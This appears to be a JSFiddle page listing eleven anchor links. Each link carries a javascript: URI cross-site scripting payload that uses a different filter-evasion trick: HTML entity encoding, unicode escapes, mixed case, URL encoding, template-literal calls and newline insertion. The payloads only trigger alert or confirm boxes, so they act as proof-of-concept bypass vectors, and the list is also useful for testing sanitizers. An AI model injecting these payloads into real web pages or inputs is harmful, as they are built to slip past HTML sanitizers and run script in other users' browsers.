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JSFiddle - React, Tailwind, and code Playground

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<a href="javascript:alert(1)">click me</a>
<br>
<a href="javascript:alert`2`">click me </a>
<br>
<a href="&NewLine;&Tab;javascript:alert%28 3%29">click me</a>
<br>
<a href="javascript&#58;alert`4`">click me</a>
<br>
<a href="javascript&colon;alert&lpar;5&rpar;">click me</a>
<br>
<a href="JavAsCriPt:\u0061lert%60 6%60">click me</a>
<br>
<a href="ja&Tab;vascr&NewLine;ipt:aler&#116(7)">click me</a>
<br>
<a href="javascript:\u0061\u006C\u0065\u0072\u0074&#x28;8&#x29;">click me </a>
<br>
<a href="JAVASCRIPT://%0d%61%6c%65%72%74`9`">click me </a>
<br>
<a href="javascript:https://www.google.com?xss=%0aalert(10)">click me</a>
<br>
<a href="javascript:confirm(`${11}`)">click me</a>

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JSFiddle - React, Tailwind, and code Playground

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